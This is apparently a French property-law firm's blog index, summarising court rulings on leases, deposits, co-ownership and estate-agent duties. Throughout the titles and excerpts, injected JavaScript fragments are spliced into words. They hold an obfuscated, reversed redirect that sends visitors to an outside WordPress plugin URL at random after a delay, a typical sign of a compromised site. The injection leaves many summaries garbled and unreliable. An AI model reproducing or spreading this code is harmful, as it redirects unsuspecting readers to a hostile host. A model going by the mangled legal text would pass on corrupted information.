Devoir de conseil des agents immobiliers l’agent immobilier a un devoir de conseil sur la solvabilité de l’acquéreur, Cass., Civ., 1ère, 11 décembre 2019 (n° 18-24381) Dans cet arrêt, la Cour de cassation casse partiellement l’arrêt de la Cour d’appel et indique que « l’agent immobilier n’avait pas justifié avoir conseillé…
Transfert de bail à un membre de sa famille
Cass., Civ., 3ème, 6 juin 2019(n°18-15978) Dans cette affaire, un bailleur HLM a toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donné à bail un logement à un couple qui a déménagé, en laissant un membre de sa famille, Mme I, dans les lieux. La Cour de cassation approuve l’arrêt de la…
Confinement et impayés d’habitation
les locataires demeurent redevables des loyers liés à l’habitation Pendant ce second confinement lié à la ptoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay =…
Vente, vices cachés et appel en garantie du syndicat des copropriétaires
Cass., Civ., 3ème, 11 juillet 2019 (n°18-10503) Lors de cette vente, il est apparu des vices cachés. Un appel en garantie a dû être fait auprès du Syndic des copropriétaires. Dans cette affaire, M. et Mme V… ont acquis de la société civile immobilière N… un appartement situé en rez-de-chaussée…
Loyers commerciaux et confinement lié à la COVID-19
Ortoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donnance de référé rendue le 30 juin 2020 Dans une ortoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donnance de référé rendue le 30 juin 2020 par le Président du Tribunal Judiciaire de Nanterre, le juge des référés s’est déclaré compétent pour statuer sur les impayés…
Obligation de l’agent immobilier de vérifier les signatures
Cass., Civ., 3ème, 21 mars 2019 (n°18-10772) La Cour de cassation a jugé « que la notification de la promesse de vente par lettre recommtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay =…
Préavis réduit non justifié
Préavis réduit non justifié lors du congé Cass., Civ., 3ème, 18 avril 2019 ( n° 18-14256) La Cour de cassation a jugé sur le fondement de l’article 15 de la loi du 6 juillet 1989 que « faute pour le locataire qui souhaite bénéficier d’un délai de préavis réduit de préciser…
Assemblée générale de copropriété
Assemblée générale de copropriété et absence de mention du copropriétaire identifiable Cass., Civ., 3ème, 11 juillet 2019 (n°18-18615) La Cour de cassation a jugé que « l’absence de mention sur le procès-verbal du nom du copropriétaire ayant voté contre la résolution soumise au vote était sans incidence sur la régularité du…
Devoir d’information de l’agent immobilier
L’agent immobilier a un devoir d’information Cass., Civ., 1ère, 9 janvier 2019 (n°18-245) Dans cet arrêt, la Cour de cassation a jugé « qu’il incombait à l’agent immobilier, tenu d’une obligation de conseil, d’informer ses mtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6);…
Toiture végétalisée et charges récupérables
Pas de charges récupérables pour une toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toiture végétalisée Une réponse ministérielle du 9 octoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if…
Répartition des charges ascenseur
Charges d’ascenseur à parts égales entre toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les lots de copropriété et critère d’utilité, Cass., Civ., 3ème, 9 mai 2019 (n° 18-17334) La…
Majoration et restitution du dépôt de garantie
Dépôt de Garantie Décision du Conseil Constitutionnel du 22 février 2019 Dans cette décision, le Conseil Constitutionnel a jugé que la majoration de 10% par mois de retard, en cas de restitution tardive du dépôt de garantie est conforme à la Constitution. Elle ne constitue ni une sanction ayant le…
Copropriété – peut-on transformer une cave en local habitation ?
Un copropriétaire peut-il transformer une cave en local d’habitation ? Cours Cassation, Civil, 3ème, 6 septembre 2018 (n° 17-22172) Dans un arrêt en date du 6 septembre 2018, la Cour de cassation a confirmé un arrêt de Cour d’appel qui avait jugé que la cave ne pouvait pas être transformée…
Restitution tardive du dépôt de garantie
– Cass., Civ., 3ème, 15 novembre 2018 (n°17-26986) Dans cette affaire, la Cour de cassation juge que la majoration prévue par l’article 22 de la loi du 6 juillet 1989, en cas de retard dans la restitution du dépôt de garantie, ne se cumule pas avec les intérêts de retard…
Nullité promesse de vente – superficie Carrez
Nullité de la promesse de vente pour défaut de superficie CARREZ, Cass., Civ. 3ème, 22 novembre 2018 (n°17-23366) La Cour de cassation a jugé en application de l’article 46 de la loi du 10 juillet 1965 que « lorsque la promesse de vente ne comporte pas la mention de la superficie…
Logement décent et engorgement
Logement décent et engorgement, Cass., Civ., 3ème, 20 décembre 2018 (n°17-24286) Dans cet arrêt, la Cour de cassation a jugé « que, selon le rapport d’intervention de l’entreprise de plomberie, la canalisation d’évacuation des eaux usées n’était pas conforme à la réglementation. En raison de son étroitesse, son engorgement avait provoqué…
Délai de prescription et charges récupérables
(Cass., Civ., 3ème, 9 novembre 2017, n°16-22445) Dans cet arrêt, la Haute Juridiction, se fondant sur l’article 68 de la loi du 1er septembre 1948 et les articles L442-6 du CCH et l’article 2224 du code civil, juge que l’action en répétition des charges indûment perçues par le bailleur se prescrit…
Justificatifs des charges récupérables
(CA Paris, Pôle 4, chambre 3, 19 Octoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobre 2017, n° 17/08956) : Dans cet arrêt, la Cour d’appel de Paris juge que :…
Vente immobilière et délai de rétractation
Que se passe-t-il qutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and la lettre recommtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6);…
La résiliation de bail et loi du 6 juillet 1989
Que dit la loi du 6 juillet 1989 en matière de résiliation de bail d’habitation ? La loi du 6 juillet 1989 n’impose pas un montant de dette minimum pour solliciter la résiliation d’un bail d’habitation (CA Lyon, 8e ch., 9 mai 2018, n° 17/00153) La Cour d’appel de Lyon…
Délai de contestation d’un appel de charges
Prescription de l’action en contestation d’un appel de charges (Civ., 3ème, 1er février 2018, n°16-26992) La Cour de cassation a rappelé que le délai de contestation d’un appel de charges se prescrivait par 10 ans s’agissant d’une action personnelle. La Cour a ainsi statué : « Vu l’article 42 de la loi…
Destination bourgeoise d’un immeuble et location HLM
Destination bourgeoise d’un immeuble et location HLM Défaut de qualité à agir du syndicat (Civ., 3ème, 23 novembre 2017, N° de pourvoi: 16-20805) La Cour de cassation a jugé que la destination bourgeoise d’un immeuble n’interdit pas la location à des locataires HLM et a ainsi jugé : « Mais attendu qu’ayant…
Le transfert de bail à descendant
Transfert de bail à un descendant (Civ., 3ème, 28 juin 2018, n°17-20409) Dans un arrêt en date du 28 juin 2018, la Cour de cassation a jugé : « Mais attendu qu’ayant relevé que l’article 1751 du code civil accorde au conjoint survivant un droit exclusif sur le logement qui servait…
Le locataire peut-il repeindre en rouge son logement
Dans quelles conditions un locataire peut-il repeindre son logement ? (Cour d’appel, Aix-en-Provence, 11e chambre A, 19 Avril 2018 – n° 16/19750) : Dans un arrêt en date du 19 avril 2018, la Cour d’appel d’Aix-en-Provence a jugé que des travaux de peinture constituent un aménagement ne nécessitant pas l’accord…
Un bailleur ne peut pas se faire justice à lui-même
De quel droit un bailleur peut-il se faire justice ? (Civ., 3ème, 7 décembre 2017, n° 16-21950) Dans cette affaire, Mme X…, locataire, a assigné la société d’HLM O, bailleresse, en réparation du toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dommage causé par la destruction, par celle-ci, des plantes vertes toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var…
Responsabilité du notaire et de l’agent immobilier
Quelle responsabilité dans le cadre d’une action pour vices cachés ? (Civ.,3ème, 14 décembre 2017, n° 16-24170) Dans le cadre d’une action pour vices cachés, la Haute juridiction a retenu la responsabilité : Du notaire ayant omis de joindre à l’acte de vente le jugement du 25 septembre 1997, qui devait…
Responsabilité du bailleur en cas de troubles de voisinage
Quelle est la responsabilité du bailleur en cas de troubles de voisinage ? (Cour de cassation, 3ème chambre civile, 8 Mars 2018 – n° 17-12.536) Dans un arrêt en date du 8 mars 2018, la Cour de cassation rappelle que « le bailleur est responsable envers le preneur, des troubles de…
Responsabilité bailleur en cas d’incendie
Quelle est la responsabilité du bailleur en cas d’incendie ? (Cour d’appel, Lyon, 8e chambre, 6 Février 2018 – n° 14/08146) La cour d’appel de Lyon a retenu la responsabilité du bailleur à la suite d’un incendie en raison de la vétusté et de la non-conformité de l’installation électrique. La…
Nullité du congé locatif pour reprise
Nullité du congé pour reprise signifié au locataire (Cour d’appel, Colmar, 3e chambre civile, section A, 22 Janvier 2018 – n° 16/05051) Le bailleur qui ne produit pas l’avis de réception du congé ne justifie pas de la régularité de ce dernier. En outre, le bailleur n’a pas précisé, dans…
Présidence en assemblée générale copropriété
Désignation du Président de l’assemblé générale de copropriété (Cour de cassation, 3e chambre civile, 22 Mars 2018 – n° 16-27.481) Dans un arrêt en date du 22 mars 2018, la Cour de cassation, se fondant sur l’article 15 du décret du 17 mars 1967 a jugé que l’assemblée générale de…
Responsabilité bailleur sous-évaluation charges locatives
Quelle est la responsabilité du bailleur en cas de sous-évaluation des charges locatives ? (Cour d’appel, Reims, 1re chambre civile, section instance, 9 Février 2018 – n° 17/00714) La Cour d’appel de Reims a retenu la responsabilité du bailleur qui a sous-estimé les charges ce qui apparaît lors de la…
Annulation encadrement des loyers Paris intra-muros
(TA Paris, 28 novembre 2017) Le tribunal administratif de Paris, dans un jugement rendu le 28 novembre 2017, a annulé les trois arrêtés encadrant les loyers à Paris intra-muros et qui plafonnaient, depuis le 1er août 2015, les loyers en fonction d’un loyer de référence. Vous pouvez consulter les honoraires du cabinet…
Copropriété : valeur contractuelle de l’état descriptif de division
(Cass., Civ., 3ème, 6 juillet 2017, n°16-16849) Dans cet arrêt, la Cour de cassation semble toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donner une valeur contractuelle à l’état descriptif de division et a statué ainsi : « Mais attendu qu’ayant souverainement retenu que l’état descriptif de division, auquel le règlement de copropriété avait…
Copropriété : Responsabilité du syndicat des copropriétaires pour défaut d’élagage des arbres
(CA Versailles, 1ère Ch., 2ème sect , 27 juin 2017, n°16/01759) La Cour d’appel de Versailles a retenu la responsabilité du syndicat des copropriétaires pour défaut d’élagage des arbres situés en parties communes. Le préjudice des copropriétaires est constitué par la perte de luminosité et d’ensoleillement de leur jardin privatif et de…
Défaut d’occupation après congé locataire
La Cour d’appel de Besançon, dans un arrêt en date du 14 novembre 2017, a jugé : « Attendu que le bailleur qui toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donne au locataire un congé motivé par sa décision de reprendre le logement au bénéfice d’un descendant contracte une obligation de résultat…
Point de départ du délai de prescription en matière de charges récupérables en cas d’indu
Délai de prescription et charges récupérables (Cass., Civ., 3ème, 9 novembre 2017, n°16-22445) Dans cet arrêt, la Haute Juridiction, se fondant sur l’article 68 de la loi du 1er septembre 1948 et les articles L442-6 du CCH et l’article 2224 du code civil, juge que l’action en répétition des charges indûment…
Convocation assemblée générale avant expiration contrat syndic
La convocation d’assemblée générale antérieurement à l’expiration du contrat de syndic Dans cette affaire, la Cour de cassation a jugé que la convocation à l’assemblée générale de copropriété est valable dès lors que le mtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6);…
Notice information à joindre au congé pour vente ou reprise
Obligation de joindre une Notice d’information au congé pour vendre ou en cas de reprise Depuis le 1er janvier 2018, le bailleur toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doit joindre une notice d’information à son congé pour vente ou pour reprise. Le contenu de cette notice est précisé dans l’annexe…
Nullité du bail en raison du toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dol commis par la locataire
(CA Rennes, 21 juin 2017, n°15/00841) La Cour d’appel de Rennes a prononcé la nullité d’un bail, le locataire ayant produit un titre de séjour sous une fausse identité. L’arrêt est ainsi motivé : « M. S., seul signataire du bail, ne justifie aucunement ni de la date de son arrivée en…
Pas d’indemnisation pour l’agent immobilier en l’absence de vente
(Cass., Civ., 1ère, 16 novembre 2016, n°15-22010) La Cour de cassation a rendu le 16 novembre 2016 un arrêt de principe à propos d’un mtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay…
Départ du locataire et fin de bail
Le départ du locataire ne met pas fin à lui seul au bail Dans un arrêt rendu le 26 octoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobre 2017, la Cour…
Résiliation conventionnelle du bail et délais de paiement
La cour d’appel de Douai a jugé que les délais de paiement prévus à l’article 24 de la loi du 6juillet 1989 ne sont pas applicables lorsque le bail a été résilié conventionnellement. Ce sont les délais de l’ancien article 1244-1 du Code civil, devenu l’article 1343-5 du même code,…
Charges locatives récupérables : justificatifs
(CA Paris, Pôle 4, chambre 3, 19 Octoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobre 2017, n° 17/08956) Dans cet arrêt, la Cour d’appel de Paris juge que : « Les…
Préjudice moral des locataires intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toxiqués au plomb
(CA Versailles, 1ère Ch., 2ème sect., 10 oct.2017, n°16/03428) Sur le fondement de l’article 6 de la loi du 6 juillet 1989, la Cour d’appel de Versailles a retenu la responsabilité du bailleur en raison de la présence de plomb. La Cour a accordé des toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dommages…
Responsabilité du bailleur en cas de chute d’un enfant
(CA Nancy, 1ère chambre civile, 5 septembre 2017, n°14/03043) Dans cet arrêt, la Cour d’appel retient la responsabilité du bailleur alors qu’il manquait un barreau sur le garde-corps du 7ème étage. « Il résulte de ces éléments que le logement toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donné à bail présentait, dans ses parties…
Responsabilité pénale du bailleur social et discrimination
(Cass., Crim., 11 juillet 2017, n°16-82426) Statuant au sujet d’une discrimination lors de l’attribution d’un logement social, la Chambre criminelle de la Cour de cassation a retenu la responsabilité pénale de la société HLM et non de la commission d’attribution comme le soutenait le bailleur. La cour de cassation juge…
Supplément de loyer de solidarité et logement de fonction
(Cass., Civ., 3ème, 22 juin 2017, n°16-15743) La cour de cassation a retenu que le supplément de loyer de solidarité ne pouvait s’appliquer à un logement de fonction et a statué ainsi : « Mais attendu qu’ayant relevé que le contrat stipulait que l’attribution du logement ne constituait à aucun titre une…
Le délai de préavis réduit toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doit être justifié
(Rép.min. n°94869, JOAN du 21 mars 2017 Dans une réponse ministérielle, il a été indiqué que la demtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay…
Action en recouvrement des loyers et délais de prescription
(Cass., Civ., 3ème, 26 janvier 2017, n°15-27580) Dans un arrêt en date du 26 janvier 2017, la Cour de cassation a jugé que seul le délai de prescription triennal est applicable à l’action en recouvrement des loyers sur le fondement de l’article 7-1 de la loi du 6 juillet 1989.…
Bail HLM résilié et supplément de Loyer de solidarité
Le Tribunal d’instance de Paris 15ème a jugé le 30 novembre 2016 que le locataire d’un logement conventionné toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dont le bail est résilié, ne peut pas se voir facturer le Supplément de Loyer de Solidarité et a condamné le bailleur à restituer le Supplément…
Transfert de bail et concubin en situation irrégulière sur le territoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toire
Dans un arrêt en date du 20 octoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobre 2016, la Cour de cassation a jugé que le concubin du locataire décédé d’un logement…
Mtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andat de vente envoyé par lettre simple
(Cass., Civ., 3ème, 28 septembre 2016, n°15-19-313) Selon un arrêt rendu le 28 septembre 2016 par la Cour de cassation : « Mais attendu qu’en l’absence de date certaine du mtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() *…
Rupture conventionnelle et délai de préavis du locataire
Dans un arrêt en date du 9 juin 2016, la Cour de cassation a approuvé les juges du fond qui avaient estimé que la rupture conventionnelle toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doit être considérée comme une perte d’emploi au sens de l’article 15 de la loi du 6 juillet…
Énonciation du bail – Adresse du bailleur – Préjudice du locataire
En l’absence de mention de l’adresse du bailleur dans le bail, le locataire qui ne peut pas solliciter la restitution du dépôt de garantie subit un préjudice certain (Civ., 3èm, 31 mars 2016, n°15-14075)
Locaux en sous-sol et affectation à l’habitation
Dans un arrêt en date du 17 mars 2016 (n°14-26954), la troisième chambre civile de la Cour de cassation a jugé « Attendu qu’ayant constaté que le règlement de copropriété comportait une clause d’habitation bourgeoise, qu’il autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;…
Le locataire toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doit occuper personnellement le logement
